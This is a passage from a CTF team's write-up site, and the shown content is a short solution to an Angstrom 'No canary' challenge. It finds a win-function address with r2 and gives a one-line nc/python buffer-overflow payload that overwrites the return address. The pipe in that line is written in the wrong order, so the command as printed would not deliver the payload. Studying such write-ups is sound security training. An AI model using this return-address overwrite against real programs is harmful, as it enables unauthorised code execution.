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  • 2020 Writeups
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      • Prenote: As all of these challenges were similar, we decided to combine these under one page.
  • 2021 Writeups
    • Union CTF
      • Antistatic
      • Cr0wn Air
      • Human Server
      • Mordell Primes
      • Neo-classical
      • Nutty
      • Why is a raven
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  1. 2020 Writeups
  2. Angstrom

No canary

Use r2 to find address of flag function, 0x00401186 Find buffer length needed.

nc shell.actf.co 20700 | python -c 'print("A"*40+"\x86\x11\x40\x00\x00\x00\x00\x00")'
PreviousJust RustNextWS3

Last updated 4 years ago

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